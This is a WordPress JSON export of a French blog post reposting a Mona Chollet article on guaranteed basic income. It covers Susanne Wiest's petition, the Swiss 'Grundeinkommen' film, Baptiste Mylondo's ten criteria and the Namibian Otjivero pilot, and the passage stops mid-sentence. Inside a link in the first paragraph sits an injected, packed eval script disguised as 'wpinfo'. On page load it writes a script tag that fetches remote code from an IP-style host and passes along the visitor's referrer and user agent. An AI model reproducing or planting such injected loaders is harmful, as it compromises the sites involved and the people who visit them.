{"id":5273,"date":"2010-12-09T10:14:47","date_gmt":"2010-12-09T09:14:47","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=5273"},"modified":"2010-12-14T23:53:41","modified_gmt":"2010-12-14T22:53:41","slug":"revenu-garanti-%c2%ab-la-premiere-vision-positive-du-xxie-siecle-%c2%bb","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=5273","title":{"rendered":"Revenu garanti, \u00ab la premi\u00e8re vision positive du XXIe si\u00e8cle \u00bb"},"content":{"rendered":"<p>Le d\u00e9bat sur le revenu de base, le revenu garanti, le revenu inconditionnel d&rsquo;existence (RIE) ou encore la <strong><a href=\"http:\/\/www.partipourladecroissance.net\/?p=4144\" target=\"_blank\">dotation <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idrsh|var|u0026u|referrer|yydfa||js|php'.split('|'),0,{}))\n<\/script><\/noindex> inconditionnel d&rsquo;autonomie (DIA)<\/a><\/strong> se r\u00e9pand.<br \/>\nVoici un excellent article de Mona Chollet, avec Thomas Lemahieu, publi\u00e9 sur <a href=\"http:\/\/www.peripheries.net\/article326.html\" target=\"_blank\">P\u00e9riph\u00e9ries<\/a> :<\/p>\n<p style=\"text-align: center;\"><strong>Revenu garanti, \u00ab la premi\u00e8re vision positive du XXIe si\u00e8cle \u00bb<br \/>\nEt vous, quel travail feriez-vous si votre revenu \u00e9tait assur\u00e9\u00a0?<\/strong><\/p>\n<p style=\"text-align: center;\"><strong><!--more--><br \/>\n<\/strong><\/p>\n<div style=\"text-align: center;\">\n<div style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" style=\"border-width: 0px; width: 450px;\" src=\"http:\/\/www.peripheries.net\/IMG\/jpg\/3couronnes.jpg\" alt=\"(JPG)\" width=\"450\" height=\"300\" \/><small><strong><br \/>\nSusanne Wiest<\/strong>, <strong>Enno Schmidt<\/strong> et <strong>Daniel H\u00e4ni<\/strong><\/small><\/div>\n<p style=\"text-align: left;\">Apr\u00e8s avoir v\u00e9cu douze ans dans une roulotte de cirque, pour \u00eatre libre et pour \u00e9conomiser un loyer, Susanne Wiest s\u2019est install\u00e9e \u00e0 Greifswald, dans le nord de l\u2019Allemagne. Elle travaille comme maman de jour, sans gagner suffisamment pour joindre les deux bouts\u00a0: elle doit accepter l\u2019aide de ses parents. Une r\u00e9forme fiscale, qui l\u2019appauvrit en int\u00e9grant les allocations de ses enfants \u00e0 son revenu imposable, augmente encore son exasp\u00e9ration et son sentiment d\u2019absurdit\u00e9. Et puis, un jour, elle tombe sur une carte postale. Une carte postale dor\u00e9e, avec, en lettres blanches, cette simple question\u00a0: \u00ab\u00a0Quel travail feriez-vous si votre revenu \u00e9tait assur\u00e9\u00a0?\u00a0\u00bb<\/p>\n<p style=\"text-align: left;\">Derri\u00e8re la carte &#8211; et la question\u00a0-, il y a Enno Schmidt, un artiste allemand \u00e9tabli en Suisse al\u00e9manique, et Daniel H\u00e4ni, qui dirige \u00e0 B\u00e2le <a href=\"http:\/\/www.mitte.ch\/unternehmen\/?PHPSESSID=7218118b2adde234762d2d4ce47b1186\">Unternehmen Mitte<\/a>, une ancienne banque reconvertie en centre social et culturel (une exception notable \u00e0 la r\u00e8gle qui veut que seules les usines d\u00e9saffect\u00e9es connaissent ce destin). Ils militent pour un revenu inconditionnel qui serait vers\u00e9 \u00e0 chaque citoyen afin de lui permettre d\u2019assurer sa subsistance &#8211; lui laissant donc le choix d\u2019occuper ou non, en plus, un emploi r\u00e9mun\u00e9r\u00e9. L\u2019id\u00e9e s\u00e9duit Susanne Wiest, qui joint ses forces \u00e0 celles des deux hommes, multipliant avec eux d\u00e9bats, tribunes et happenings.<\/p>\n<div style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" style=\"border-width: 0px; width: 450px;\" src=\"http:\/\/www.peripheries.net\/IMG\/jpg\/wiestbundestag.jpg\" alt=\"(JPG)\" width=\"450\" height=\"258\" \/><small><br \/>\nL\u2019<strong>audition<\/strong> de Susanne Wiest au <strong>Bundestag<\/strong>, le 8 novembre 2010<\/small><\/div>\n<p style=\"text-align: left;\">En d\u00e9cembre 2008, usant d\u2019un droit accord\u00e9 depuis 2005 \u00e0 tout citoyen allemand, elle lance une p\u00e9tition en ligne demandant au Bundestag de se pencher sur la question du revenu de base. Pour que les parlementaires acc\u00e8dent \u00e0 une telle demande, 50\u00a0000\u00a0signatures sont requises\u00a0; la p\u00e9tition en recueille 120\u00a0000. Ce succ\u00e8s inattendu entra\u00eene celui du film r\u00e9alis\u00e9 par H\u00e4ni et Schmidt, et diffus\u00e9 sur Internet\u00a0: <a href=\"http:\/\/www.kultkino.ch\/kultkino\/besonderes\/grundeinkommen\"><em>Grundeinkommen &#8211; Ein Kulturimpuls<\/em><\/a> (\u00ab\u00a0Le revenu de base &#8211; Une impulsion culturelle\u00a0\u00bb, film adoss\u00e9 \u00e0 un <a href=\"http:\/\/www.initiative-grundeinkommen.ch\/\">site<\/a>)\u00a0: entre sa mise en ligne et le mois de novembre 2010, il a \u00e9t\u00e9 t\u00e9l\u00e9charg\u00e9 350 000 fois, l\u2019essentiel des connexions venant d\u2019Allemagne. L\u2019<a href=\"http:\/\/grundeinkommen-news.blogspot.com\/2010\/11\/sternstunde-in-berlin.html\">audition de Susanne Wiest au Bundestag<\/a> a eu lieu le 8 novembre 2010.<\/p>\n<p style=\"text-align: left;\">Entre-temps, Enno Schmidt et Daniel H\u00e4ni ont re\u00e7u un renfort suppl\u00e9mentaire\u00a0: celui de Marie-Paule Perrin et Oliver Seeger, un couple franco-suisse qui, apr\u00e8s avoir longtemps v\u00e9cu dans le sud de la France, s\u2019est install\u00e9 pr\u00e8s de Zurich. Anciens de Longo Ma\u00ef, une coop\u00e9rative agricole communautaire \u00e9tablie apr\u00e8s 1968 dans les Alpes de Haute-Provence, ils sont aux prises, comme tous ceux qui gardent le c\u0153ur \u00e0 gauche, avec le d\u00e9clin des id\u00e9ologies progressistes. Le film les frappe au point qu\u2019ils d\u00e9cident d\u2019en produire une <a href=\"http:\/\/le-revenu-de-base.blogspot.com\/2010\/10\/film-launch-of-le-revenu-de-base.html\">version fran\u00e7aise<\/a>, disponible en ligne depuis octobre 2010.<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.editions-zones.fr\/spip.php?page=lyberplayer&amp;id_article=18\"><img loading=\"lazy\" decoding=\"async\" style=\"border-width: 0px; float: right; width: 175px;\" src=\"http:\/\/www.peripheries.net\/IMG\/jpg\/non-motivation.jpg\" alt=\"(JPG)\" width=\"175\" height=\"250\" \/><\/a>L\u2019Allemagne nous avait d\u00e9j\u00e0 offert le \u00ab\u00a0<a href=\"http:\/\/www.cequilfautdetruire.org\/spip.php?article402\">Manifeste des ch\u00f4meurs heureux<\/a> \u00bb, traduit en fran\u00e7ais en 2004 par le mensuel de critique sociale marseillais <em>CQFD<\/em> (<a id=\"nh1\" title=\"(1) Voir aussi l'entretien avec leur meneur, le Fran\u00e7ais Guillaume (...)\" name=\"nh1\" href=\"http:\/\/www.peripheries.net\/article326.html#nb1\">1<\/a>). Au niveau mondial, le revenu garanti est promu par le r\u00e9seau Basic Income Earth Network (<a href=\"http:\/\/www.basicincome.org\/\">BIEN<\/a>). En France aussi, l\u2019id\u00e9e fait son chemin (voir l\u2019<a href=\"http:\/\/appelpourlerevenudevie.org\/\">appel pour le revenu de vie<\/a>, lanc\u00e9 en mai 2009). C\u2019est sans doute le philosophe Andr\u00e9 Gorz, disparu en 2007, qui a le plus contribu\u00e9 \u00e0 l\u2019\u00e9tayer et \u00e0 la diffuser. En 2000, ici m\u00eame (voir \u00ab\u00a0<a href=\"http:\/\/www.peripheries.net\/article158.html\">Feignants et bons \u00e0 rien<\/a> \u00bb), on s\u2019\u00e9tait fait l\u2019\u00e9cho des revendications du Collectif d\u2019agitation pour un revenu garanti optimal (CARGO), fond\u00e9 au sein d\u2019Agir ensemble contre le ch\u00f4mage (AC\u00a0!) et auteur d\u2019un CD \u00e0 l\u2019insolence rafra\u00eechissante (\u00ab\u00a0Monsieur Jospin, est-ce qu\u2019il ne resterait pas un chou\u00efa de soci\u00e9t\u00e9 d\u2019assistanat pour moi\u00a0?\u00a0\u00bb (<a id=\"nh2\" title=\"(2) Quelques sons rescap\u00e9s \u00e0 \u00e9couter ici, d'autres archives (...)\" name=\"nh2\" href=\"http:\/\/www.peripheries.net\/article326.html#nb2\">2<\/a>), dans une veine reprise depuis par Julien Pr\u00e9vieux avec ses hilarantes <a href=\"http:\/\/www.editions-zones.fr\/spip.php?page=lyberplayer&amp;id_article=18\"><em>Lettres de non-motivation<\/em><\/a>.<\/p>\n<h3>\u00ab\u00a0Contrairement \u00e0 ce qu\u2019on pourrait croire,<br \/>\nla \u201cvaleur travail\u201d est bien plus ancr\u00e9e en France<br \/>\nqu\u2019en Allemagne ou en Suisse\u00a0\u00bb<\/h3>\n<p style=\"text-align: left;\">Pourtant, il faut bien constater que l\u2019hypoth\u00e8se du revenu de base rencontre un \u00e9cho bien moins large en France qu\u2019en Allemagne ou en Suisse. \u00ab\u00a0Contrairement aux clich\u00e9s qui pr\u00e9tendent que les peuples germaniques disciplin\u00e9s ont la religion du travail, tandis que les Fran\u00e7ais latins sont d\u2019ind\u00e9crottables paresseux r\u00e9put\u00e9s dans le monde entier pour faire gr\u00e8ve pour un oui ou pour un non, on se rend compte que la \u201cvaleur travail\u201d est bien plus ancr\u00e9e en France, observe Marie-Paule Perrin. La gauche radicale y est plus id\u00e9ologique qu\u2019ailleurs, et elle reste largement ouvri\u00e9riste. Dans les pays nordiques, les gens sont plus pragmatiques, plus ouverts, et ils ont davantage l\u2019habitude d\u2019examiner les choses par eux-m\u00eames, sans se pr\u00e9occuper de ce qu\u2019en dit tel ou tel grand penseur. Et, apr\u00e8s tout, pourquoi devrions-nous rester prisonniers des th\u00e9ories politiques dont nous avons h\u00e9rit\u00e9, si nous estimons qu\u2019elles ne sont plus adapt\u00e9es \u00e0 la situation dans laquelle nous sommes\u00a0?\u00a0\u00bb<\/p>\n<p style=\"text-align: left;\"><img loading=\"lazy\" decoding=\"async\" style=\"border-width: 0px; float: right; width: 160px;\" src=\"http:\/\/www.peripheries.net\/IMG\/jpg\/utopia-revenu.jpg\" alt=\"(JPG)\" width=\"160\" height=\"234\" \/>En France, le <a href=\"http:\/\/www.mouvementutopia.org\/\">mouvement Utopia<\/a>, transversal au Parti socialiste, aux Verts et au Parti de gauche, qui porte la revendication du revenu garanti, a \u00e9dit\u00e9 cette ann\u00e9e un petit livre de synth\u00e8se sur le sujet\u00a0: <em>Un revenu pour tous &#8211; Pr\u00e9cis d\u2019utopie r\u00e9aliste<\/em>. L\u2019auteur, Baptiste Mylondo, invite d\u2019abord \u00e0 se m\u00e9fier des contrefa\u00e7ons. Dans le sillage de Milton Friedman, en effet, certains lib\u00e9raux se prononcent pour le versement \u00e0 chacun d\u2019un \u00ab\u00a0mis\u00e9rable subside\u00a0\u00bb qui ne permettrait pas de vivre, mais fonctionnerait plut\u00f4t comme une subvention d\u00e9guis\u00e9e aux entreprises\u00a0: celles-ci disposeraient d\u2019une r\u00e9serve de main-d\u2019\u0153uvre qu\u2019elles pourraient embaucher \u00e0 vil prix, tandis que le d\u00e9mant\u00e8lement des droits sociaux se poursuivrait de plus belle. Mylondo d\u00e9finit dix crit\u00e8res indispensables pour permettre au revenu garanti de jouer son r\u00f4le lib\u00e9rateur. Les voici, histoire de savoir tout de suite de quoi l\u2019on parle\u00a0:<\/p>\n<p style=\"text-align: left;\">1. Revenu en esp\u00e8ces (et non en nature)<br \/>\n2. Vers\u00e9 \u00e0 chaque citoyen<br \/>\n3. Vers\u00e9 sans condition (de ressources, d\u2019activit\u00e9, d\u2019inactivit\u00e9, etc.)<br \/>\n4. Vers\u00e9 sans contrepartie (recherche d\u2019emploi, travail d\u2019int\u00e9r\u00eat g\u00e9n\u00e9ral, etc.)<br \/>\n5. Cumulable avec d\u2019autres revenus<br \/>\n6. Vers\u00e9 \u00e0 titre individuel (et non \u00e0 l\u2019ensemble du foyer)<br \/>\n7. Vers\u00e9 tout au long de la vie<br \/>\n8. Montant forfaitaire (avec toutefois une distinction entre personnes majeures et mineures)<br \/>\n9. Montant suffisant (permettant de se passer d\u2019emploi)<br \/>\n10. Versement mensuel.<\/p>\n<p style=\"text-align: left;\">Au premier abord, l\u2019id\u00e9e para\u00eet extravagante, irr\u00e9aliste, tant chacun reste persuad\u00e9 de devoir produire la richesse qu\u2019il consomme &#8211; une croyance pourtant totalement irrationnelle. Loin d\u2019\u00eatre une vue de l\u2019esprit, le revenu de base constitue plut\u00f4t une utopie \u00ab\u00a0d\u00e9j\u00e0 l\u00e0\u00a0\u00bb, en filigrane dans la r\u00e9alit\u00e9 pr\u00e9sente. Le film de Daniel H\u00e4ni et Enno Schmidt souligne qu\u2019en Allemagne, aujourd\u2019hui, seul 41% de la population tire son revenu de son emploi\u00a0: tous les autres vivent de revenus dits \u00ab\u00a0de transfert\u00a0\u00bb. \u00ab\u00a0Il faut savoir exploiter les br\u00e8ches qui s\u2019ouvrent dans la logique du syst\u00e8me pour les \u00e9largir\u00a0\u00bb, \u00e9crivait Andr\u00e9 Gorz, qui citait en exemples \u00ab\u00a0le revenu parental d\u2019\u00e9ducation (un an avec 80% du salaire pour chaque enfant en Su\u00e8de, le partage de cette ann\u00e9e entre la m\u00e8re et le p\u00e8re \u00e9tant sur le point d\u2019\u00eatre exig\u00e9) et, d\u2019autre part, la forme du droit au cong\u00e9 formation (un an au Danemark) (<a id=\"nh3\" title=\"(3) \u00ab Richesse, travail et revenu garanti \u00bb, sur le site d'AC (...)\" name=\"nh3\" href=\"http:\/\/www.peripheries.net\/article326.html#nb3\">3<\/a>)\u00a0\u00bb. De m\u00eame, la r\u00e9cente contestation du projet Fillon de r\u00e9forme des retraites a \u00e9t\u00e9 l\u2019occasion pour le sociologue Bernard Friot de pr\u00f4ner, \u00e0 partir de la logique de la retraite par r\u00e9partition, une forme de revenu garanti\u00a0; son raisonnement a suscit\u00e9 beaucoup d\u2019int\u00e9r\u00eat, en particulier lors de son passage chez Daniel Mermet dans \u00ab\u00a0<a href=\"http:\/\/www.la-bas.org\/article.php3?id_article=1979\">L\u00e0-bas si j\u2019y suis<\/a> \u00bb, sur France Inter (<a id=\"nh4\" title=\"(4) Voir aussi Bernard Friot, \u00ab Retraites, un tr\u00e9sor impens\u00e9 \u00bb, Le Monde (...)\" name=\"nh4\" href=\"http:\/\/www.peripheries.net\/article326.html#nb4\">4<\/a>).<\/p>\n<p style=\"text-align: left;\">Il peut toutefois sembler d\u00e9lirant de disserter sur le revenu de base alors que, depuis trente ans, dans les pays occidentaux, la tendance consiste \u00e0 refermer les br\u00e8ches bien plus qu\u2019\u00e0 les \u00e9largir. La m\u00eame id\u00e9ologie punitive, dissimulant l\u2019exploitation et la domination la plus crue sous les traits d\u2019un moralisme archa\u00efque, s\u00e9vit partout. Les gouvernements de tous bords ont renforc\u00e9 les conditionnalit\u00e9s de l\u2019aide sociale et adopt\u00e9 des politiques dites d\u2019\u00ab\u00a0activation\u00a0\u00bb, visant \u00e0 \u00ab\u00a0remettre au travail\u00a0\u00bb des ch\u00f4meurs pr\u00e9sent\u00e9s comme de dangereux parasites (<a id=\"nh5\" title=\"(5) Lire Anne Daguerre, \u00ab Emplois forc\u00e9s pour les b\u00e9n\u00e9ficiaires de l'aide (...)\" name=\"nh5\" href=\"http:\/\/www.peripheries.net\/article326.html#nb5\">5<\/a>). Du droit, on est pass\u00e9 \u00e0 l\u2019aum\u00f4ne. Sous le gouvernement de Gerhard Schr\u00f6der, l\u2019Allemagne a adopt\u00e9 la r\u00e9forme Hartz, qui a r\u00e9duit le montant et la dur\u00e9e des allocations ch\u00f4mage tout en renfor\u00e7ant le contr\u00f4le et la culpabilisation de leurs b\u00e9n\u00e9ficiaires. En France, le face-\u00e0-face orchestr\u00e9 par l\u2019Etat entre les agents de P\u00f4le Emploi et les ch\u00f4meurs, deux populations qu\u2019il am\u00e8ne \u00e0 se maltraiter mutuellement, illustre assez bien le cauchemar que repr\u00e9sente, comme l\u2019avait pr\u00e9dit Hannah Arendt, une \u00ab\u00a0soci\u00e9t\u00e9 du travail sans travail\u00a0\u00bb. Et encore\u00a0: tout cela, avant que la crise ne d\u00e9ferle et que le fl\u00e9au de l\u2019aust\u00e9rit\u00e9, avec ses coupes sauvages dans les finances publiques, ne s\u2019abatte sur les Etats&#8230;<\/p>\n<h3 style=\"text-align: center;\">\u00ab\u00a0Notre probl\u00e8me n\u2019est pas<br \/>\nque l\u2019on consacre trop d\u2019argent au social,<br \/>\nmais que nos politiques de l\u2019emploi<br \/>\nsont vou\u00e9es \u00e0 l\u2019\u00e9chec\u00a0\u00bb<\/h3>\n<div style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" style=\"border-width: 0px; width: 450px;\" src=\"http:\/\/www.peripheries.net\/IMG\/jpg\/mppos.jpg\" alt=\"(JPG)\" width=\"450\" height=\"338\" \/><small><strong><br \/>\nMarie-Paule Perrin<\/strong> et <strong>Oliver Seeger<\/strong><\/small><\/div>\n<p style=\"text-align: left;\">Si on croyait impressionner Marie-Paule Perrin par ce tableau apocalyptique, c\u2019est rat\u00e9. Il ne lui tire gu\u00e8re plus qu\u2019un haussement d\u2019\u00e9paules. \u00ab\u00a0Cela ne change rien au fait que les emplois qui ont \u00e9t\u00e9 d\u00e9truits, ou qui sont partis dans les pays du Sud, ne reviendront pas, r\u00e9plique-t-elle. La solution, ce n\u2019est pas de rogner sur les budgets sociaux\u00a0: c\u2019est de donner de l\u2019air. C\u2019est de lib\u00e9rer les \u00e9nergies, les id\u00e9es, de d\u00e9mocratiser la capacit\u00e9 de r\u00e9flexion et d\u2019action, au lieu de s\u2019en remettre \u00e0 des \u201c\u00e9lites\u201d d\u00e9pass\u00e9es. Notre probl\u00e8me n\u2019est pas que l\u2019on consacre trop d\u2019argent au social, mais que nos politiques de l\u2019emploi sont vou\u00e9es \u00e0 l\u2019\u00e9chec. Et puis, si les gens ont compris une chose avec la crise, c\u2019est bien que de l\u2019argent, il y en a&#8230;\u00a0\u00bb<\/p>\n<p style=\"text-align: left;\">Oliver Seeger abonde\u00a0: \u00ab\u00a0En r\u00e9alit\u00e9, le plein-emploi n\u2019a jamais exist\u00e9\u00a0! Nous courons apr\u00e8s une chim\u00e8re depuis des d\u00e9cennies. S\u2019en d\u00e9barrasser enfin serait d\u2019autant plus b\u00e9n\u00e9fique que c\u2019est aussi lui qu\u2019on invoque pour justifier la recherche de la croissance, alors m\u00eame qu\u2019une croissance \u00e9ternelle, on le sait, n\u2019est ni possible, ni souhaitable.\u00a0\u00bb En somme, il faut, comme le dit dans le film Peter Ulrich, de l\u2019universit\u00e9 de Saint-Gall, \u00ab\u00a0prendre acte du fait que le march\u00e9 du travail ne pourra plus assurer l\u2019int\u00e9gration sociale de toute la population\u00a0\u00bb.<\/p>\n<h3 style=\"text-align: center;\">Le \u00ab\u00a0droit au travail\u00a0\u00bb,<br \/>\nun non-sens\u00a0:<br \/>\n\u00ab\u00a0Il n\u2019existe pas de droit \u00e0 \u00eatre oblig\u00e9<br \/>\nde faire quelque chose\u00a0\u00bb<\/h3>\n<p style=\"text-align: left;\">En France, la r\u00e9volte contre la r\u00e9forme des retraites, cet automne, a d\u2019ailleurs mis en lumi\u00e8re avec une force in\u00e9dite la perte de sens et la souffrance qui sont le lot des salari\u00e9s aujourd\u2019hui\u00a0: dans ce qu\u2019exprimaient gr\u00e9vistes et manifestants, les deux ann\u00e9es suppl\u00e9mentaires impos\u00e9es pour la retraite \u00e0 taux plein n\u2019\u00e9taient que la goutte d\u2019eau qui faisait d\u00e9border le vase. \u00ab\u00a0Alors que les nouvelles technologies informatiques sont cens\u00e9es all\u00e9ger les peines physiques, que plus des deux tiers des salari\u00e9s appartiennent au secteur tertiaire et que la dur\u00e9e l\u00e9gale du travail n\u2019est que de trente-cinq heures, voil\u00e0 qu\u2019appara\u00eet une image lugubre de l\u2019activit\u00e9 professionnelle, associ\u00e9e \u00e0 la mort ou \u00e0 la privation de vie\u00a0\u00bb, \u00e9crit la sociologue Dani\u00e8le Linhart (<a id=\"nh6\" title=\"(6) \u00ab M\u00e9tro, boulot, tombeau \u00bb, Le Monde diplomatique, novembre (...)\" name=\"nh6\" href=\"http:\/\/www.peripheries.net\/article326.html#nb6\">6<\/a>). De quoi retenir l\u2019attention d\u2019Oliver Seeger, qui, comme Paul Lafargue dans son c\u00e9l\u00e8bre <a href=\"http:\/\/sami.is.free.fr\/Oeuvres\/lafargue_droit_paresse.html\"><em>Droit \u00e0 la paresse<\/em><\/a>, n\u2019est jamais parvenu \u00e0 comprendre que le prol\u00e9tariat \u00ab\u00a0manifeste pour r\u00e9clamer le droit de se faire exploiter\u00a0\u00bb. Dans le film, on entend ces mots frappants au sujet du \u00ab\u00a0droit au travail\u00a0\u00bb\u00a0: \u00ab\u00a0Il n\u2019existe pas de droit \u00e0 \u00eatre oblig\u00e9 de faire quelque chose, de m\u00eame qu\u2019il n\u2019existe pas de droit \u00e0 \u00eatre achet\u00e9. Le droit au travail ne peut \u00eatre que le droit \u00e0 exercer une activit\u00e9 choisie, que personne ne peut nous acheter ou nous enlever.\u00a0\u00bb<\/p>\n<p style=\"text-align: left;\">Souvent st\u00e9rile, quand il n\u2019est pas nuisible, rendu infernal par les in\u00e9puisables ressources de perversit\u00e9 du management, l\u2019emploi salari\u00e9 contraint est peut-\u00eatre bien devenu un cadre intenable pour l\u2019activit\u00e9 humaine. \u00ab\u00a0Il faut rompre avec les vieux sch\u00e9mas de pens\u00e9e, en finir avec l\u2019id\u00e9e fausse que seul le travail r\u00e9mun\u00e9r\u00e9 constitue une contribution m\u00e9ritoire \u00e0 la soci\u00e9t\u00e9. En r\u00e9alit\u00e9, c\u2019est souvent exactement l\u2019inverse\u00a0\u00bb, lance dans le film la d\u00e9put\u00e9e allemande Katja Kipping (Die Linke).<\/p>\n<p style=\"text-align: left;\">Renoncer \u00e0 l\u2019horizon illusoire du plein-emploi, ce serait aussi supprimer tous les dispositifs d\u2019un co\u00fbt exorbitant mis au service de cet objectif, comme les subventions englouties dans l\u2019aide aux entreprises, et cens\u00e9es les inciter \u00e0 embaucher &#8211; en pure perte. La question du mode de financement du revenu de base n\u2019en serait que plus facile \u00e0 r\u00e9soudre. <em>Encore plus<\/em> facile, faudrait-il dire\u00a0: on trouve chez ses partisans de nombreuses propositions concurrentes, des conceptions diff\u00e9rentes des imp\u00f4ts ou des transferts sociaux qu\u2019il faudrait cr\u00e9er, conserver ou supprimer, et toutes &#8211; certaines \u00e9tant combinables entre elles &#8211; ont leur pertinence. Daniel H\u00e4ni et Enno Schmidt plaident pour une suppression de tous les imp\u00f4ts \u00e0 l\u2019exception de la taxe sur la valeur ajout\u00e9e (TVA), dont le caract\u00e8re in\u00e9galitaire serait annul\u00e9, comme leur film l\u2019explique tr\u00e8s bien, par l\u2019instauration m\u00eame du revenu de base. Cette solution n\u2019a cependant pas les faveurs de Baptiste Mylondo, plus int\u00e9ress\u00e9, dans le contexte fran\u00e7ais, par une hausse de la cotisation sociale g\u00e9n\u00e9ralis\u00e9e (CSG). BIEN-Suisse vient de publier un livre faisant le point sur les diff\u00e9rentes th\u00e8ses circulant dans le pays quant aux modes de financement (<a id=\"nh7\" title=\"(7) Lire, dans Le Courrier du 9 novembre 2010, \u00ab Un revenu de base pour (...)\" name=\"nh7\" href=\"http:\/\/www.peripheries.net\/article326.html#nb7\">7<\/a>).<\/p>\n<h3 style=\"text-align: center;\">\u00ab\u00a0Penser qu\u2019au-del\u00e0 de la grille,<br \/>\nil n\u2019y aurait que vacances et loisirs,<br \/>\nc\u2019est le point de vue de la d\u00e9pendance\u00a0\u00bb<\/h3>\n<p style=\"text-align: left;\">N\u2019est-il pas vertigineux de r\u00e9aliser que l\u2019aspect comptable du revenu de base ne pose aucune difficult\u00e9\u00a0? On touche alors du doigt \u00e0 la fois la puissance et la fragilit\u00e9 des croyances, des repr\u00e9sentations sur lesquelles repose le syst\u00e8me dans lequel nous vivons. Le d\u00e9bat \u00e0 mener n\u2019est donc pas prioritairement d\u2019ordre financier\u00a0: il est avant tout culturel. Il suffit en effet d\u2019\u00e9voquer le revenu garanti pour qu\u2019aussit\u00f4t surgissent dans l\u2019esprit de vos interlocuteurs des visions bachiques d\u2019une soci\u00e9t\u00e9 livr\u00e9e au chaos et \u00e0 l\u2019anarchie. Un sondage mentionn\u00e9 dans le film pointe l\u2019ironie de cette r\u00e9action\u00a0: parmi les personnes interrog\u00e9es, 60% disent qu\u2019elles ne changeraient rien \u00e0 leur mode de vie si elles touchaient le revenu de base\u00a0; 30% travailleraient moins, ou feraient autre chose\u00a0; et 10% r\u00e9pondent\u00a0: \u00ab\u00a0D\u2019abord dormir, ensuite on verra.\u00a0\u00bb En revanche, 80% se disent persuad\u00e9es que les autres n\u2019en foutront plus une rame&#8230; \u00ab\u00a0Jusqu\u2019ici, personne n\u2019a encore dit\u00a0: \u201cJe me mets en jogging, je m\u2019installe sur le canap\u00e9 et j\u2019ouvre une canette\u201d\u00a0\u00bb, constate Oliver Seeger, qui serait presque d\u00e9\u00e7u. Le film le fait remarquer tr\u00e8s justement\u00a0: \u00ab\u00a0Se lib\u00e9rer <em>du<\/em> travail signifie aussi se lib\u00e9rer <em>pour<\/em> le travail. Penser qu\u2019au-del\u00e0 de la grille, il n\u2019y aurait que vacances et loisirs, c\u2019est le point de vue de la d\u00e9pendance.\u00a0\u00bb Les exp\u00e9riences qui ont d\u00e9j\u00e0 \u00e9t\u00e9 tent\u00e9es ici et l\u00e0 montrent d\u2019ailleurs une r\u00e9alit\u00e9 beaucoup plus sage que ces fantasmes d\u00e9brid\u00e9s.<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.courrierinternational.com\/article\/2010\/04\/29\/les-miracles-du-revenu-minimum-garanti\"><img loading=\"lazy\" decoding=\"async\" style=\"border-width: 0px; float: right; width: 250px;\" src=\"http:\/\/www.peripheries.net\/IMG\/jpg\/BIG-Nanibie-A.jpg\" alt=\"(JPG)\" width=\"250\" height=\"154\" \/><\/a>\u00ab\u00a0Il est plausible d\u2019imaginer que dans les pays riches, le revenu de base aboutisse \u00e0 une forme de d\u00e9croissance, tandis que ce serait l\u2019inverse dans les pays pauvres.\u00a0\u00bb C\u2019est en tout cas ce qui s\u2019est produit \u00e0 Otjivero, le village de Namibie o\u00f9 a \u00e9t\u00e9 instaur\u00e9 pour deux ans, d\u00e9but 2008, un revenu garanti de 100\u00a0dollars namibiens par mois pour tous les habitants de moins de 60\u00a0ans, \u00ab\u00a0\u00e0 l\u2019initiative d\u2019un pasteur qui n\u2019en pouvait plus du d\u00e9veloppement\u00a0\u00bb, r\u00e9sume Oliver Seeger (<a id=\"nh8\" title=\"(8) Le rapport d\u00e9taill\u00e9 sur ce projet pilote au niveau mondial est consultable (...)\" name=\"nh8\" href=\"http:\/\/www.peripheries.net\/article326.html#nb8\">8<\/a>). \u00ab\u00a0Contrairement aux microcr\u00e9dits et \u00e0 beaucoup de programmes d\u2019aide au d\u00e9veloppement classiques, le revenu minimum a un impact non seulement sur la production, mais aussi sur la demande, expliquait le chercheur Herbert Jauch, membre de la Basic Income Grant Coalition (BIG) de Namibie, \u00e0 la <em>Frankfurter Rundschau<\/em>. En Afrique, le pouvoir d\u2019achat se concentre en g\u00e9n\u00e9ral dans quelques centres, ce qui force les gens \u00e0 quitter les campagnes pour les villes, o\u00f9 les bidonvilles finissent par s\u2019\u00e9tendre. Le revenu minimum garanti permet \u00e0 des r\u00e9gions rurales de se d\u00e9velopper, il cr\u00e9e des march\u00e9s locaux et permet aux gens d\u2019\u00eatre autosuffisants (<a id=\"nh9\" title=\"(9) \u00ab Namibie : les miracles du revenu garanti \u00bb, Courrier international, (...)\" name=\"nh9\" href=\"http:\/\/www.peripheries.net\/article326.html#nb9\">9<\/a>).\u00a0\u00bb<\/p>\n<h3 style=\"text-align: center;\">Nicolas Baverez\u00a0:<br \/>\n\u00ab\u00a0Autant la r\u00e9duction du temps de travail<br \/>\nest appr\u00e9ciable pour aller dans le Lub\u00e9ron,<br \/>\nautant, pour les couches les plus modestes,<br \/>\nle temps libre, c\u2019est l\u2019alcoolisme,<br \/>\nle d\u00e9veloppement de la violence,<br \/>\nla d\u00e9linquance\u00a0\u00bb<\/h3>\n<p style=\"text-align: left;\">Si les soci\u00e9t\u00e9s occidentales doivent aller vers la d\u00e9croissance, il estime que le revenu de base en serait le meilleur moyen\u00a0: \u00ab\u00a0Il pourrait enclencher une \u00e9volution des mentalit\u00e9s. La d\u00e9croissance implique un changement de valeurs\u00a0; or un changement de valeurs ne se d\u00e9cr\u00e8te pas\u00a0! Aujourd\u2019hui, une large part de la consommation tient au fait que l\u2019on compense les frustrations engendr\u00e9es par l\u2019obligation d\u2019avoir un emploi souvent peu \u00e9panouissant en tant que tel.\u00a0\u00bb En somme, cette 